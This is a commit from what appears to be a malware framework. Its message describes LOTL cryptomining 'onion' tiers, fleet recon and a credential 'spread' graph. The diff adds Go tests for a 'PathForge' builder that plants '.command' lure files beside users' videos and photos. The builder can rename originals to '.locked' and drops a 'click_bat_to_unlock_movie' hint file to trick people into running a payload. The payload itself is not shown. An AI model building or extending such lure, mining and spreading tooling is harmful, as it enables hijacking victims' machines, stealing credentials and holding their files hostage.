Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -10,6 +10,7 @@ import (
"path/filepath"
"runtime"
"strings"
"sync"
"testing"
)
@@ -217,3 +218,172 @@ func TestPathForgeLockOriginalFalseKeepsOriginal(t *testing.T) {
t.Error("original file was unexpectedly renamed to .locked when lock_original=false")
}
}
// TestPathForgeRootPathOutsideAllowedRoots verifies BLD-D1: root_path must not
// contain traversal sequences and must resolve under home, temp, or server dataDir.
func TestPathForgeRootPathOutsideAllowedRoots(t *testing.T) {
h := NewPathForgeHandler(t.TempDir())
cases := []struct {
name string
rootPath string
skipUnless func() bool
wantSubstr string
}{
{
name: "traversal_dotdot",
rootPath: "../../../windows",
wantSubstr: "path traversal",
},
{
name: "unix_system_path",
rootPath: "/etc",
skipUnless: func() bool { return runtime.GOOS != "windows" },
wantSubstr: "outside allowed directories",
},
{
name: "windows_system_path",
rootPath: `C:\Windows\System32`,
skipUnless: func() bool { return runtime.GOOS == "windows" },
wantSubstr: "outside allowed directories",
},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
if tc.skipUnless != nil && !tc.skipUnless() {
t.Skip("not applicable on this platform")
}
escaped := strings.ReplaceAll(tc.rootPath, `\`, `\\`)
body := `{"root_path":"` + escaped + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d, want 400; body=%s", rec.Code, rec.Body.String())
}
respBody := rec.Body.String()
if !strings.Contains(respBody, "root_path rejected") {
t.Errorf("expected root_path rejected in body, got %q", respBody)
}
if tc.wantSubstr != "" && !strings.Contains(respBody, tc.wantSubstr) {
t.Errorf("expected %q in body, got %q", tc.wantSubstr, respBody)
}
// Validation rejects before any walk/placement; Placed must stay 0.
var res PathForgeResult
if err := json.NewDecoder(strings.NewReader(respBody)).Decode(&res); err == nil && res.Placed != 0 {
t.Errorf("Placed=%d, want 0", res.Placed)
}
})
}
}
// TestPathForgeSkippedCountNonMediaExtensions verifies that files outside the
// requested extension set increment Skipped while matching extensions are placed.
// With extensions=[".jpg"] only: .mkv and .txt are skipped, .jpg is placed.
func TestPathForgeSkippedCountNonMediaExtensions(t *testing.T) {
root := t.TempDir()
for name, content := range map[string]string{
"clip.mkv": "video",
"readme.txt": "notes",
"photo.jpg": "image",
} {
if err := os.WriteFile(filepath.Join(root, name), []byte(content), 0644); err != nil {
t.Fatal(err)
}
}
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","extensions":[".jpg"]}`
h := NewPathForgeHandler(t.TempDir())
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
var res PathForgeResult
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
t.Fatal(err)
}
if res.Skipped != 2 {
t.Errorf("skipped: got %d, want 2 (.mkv + .txt)", res.Skipped)
}
if res.Total != 1 {
t.Errorf("total: got %d, want 1 (.jpg only)", res.Total)
}
if res.Placed < 1 {
t.Errorf("placed: got %d, want at least 1 for .jpg", res.Placed)
}
if res.Errors != 0 {
t.Errorf("errors: got %d, want 0; %v", res.Errors, res.ErrorList)
}
if len(res.Results) != 1 || res.Results[0].Source != "photo.jpg" {
t.Errorf("results: want single photo.jpg entry, got %+v", res.Results)
}
if _, err := os.Stat(filepath.Join(root, "photo.command")); err != nil {
t.Errorf("photo.command missing: %v", err)
}
}
// TestPathForgeConcurrentPlacements verifies two overlapping POSTs against the
// same root_path complete without hang or panic and leave companions on disk.
func TestPathForgeConcurrentPlacements(t *testing.T) {
root := t.TempDir()
mediaPath := filepath.Join(root, "film.mkv")
if err := os.WriteFile(mediaPath, []byte("video"), 0644); err != nil {
t.Fatal(err)
}
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
h := NewPathForgeHandler(t.TempDir())
const n = 2
var wg sync.WaitGroup
wg.Add(n)
type outcome struct {
code int
res PathForgeResult
}
outcomes := make([]outcome, n)
for i := 0; i < n; i++ {
i := i
go func() {
defer wg.Done()
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
outcomes[i].code = rec.Code
if err := json.NewDecoder(rec.Body).Decode(&outcomes[i].res); err != nil {
t.Errorf("goroutine %d decode: %v", i, err)
}
}()
}
wg.Wait()
for i, o := range outcomes {
if o.code != http.StatusOK {
t.Errorf("goroutine %d: status %d", i, o.code)
}
if o.res.Total != 1 {
t.Errorf("goroutine %d: total %d, want 1", i, o.res.Total)
}
if o.res.Placed < 1 {
t.Errorf("goroutine %d: placed %d, want at least 1", i, o.res.Placed)
}
}
if _, err := os.Stat(filepath.Join(root, "film.command")); err != nil {
t.Errorf("film.command missing after concurrent placements: %v", err)
}
if _, err := os.Stat(filepath.Join(root, "click_bat_to_unlock_movie")); err != nil {
t.Errorf("hint file missing after concurrent placements: %v", err)
}
}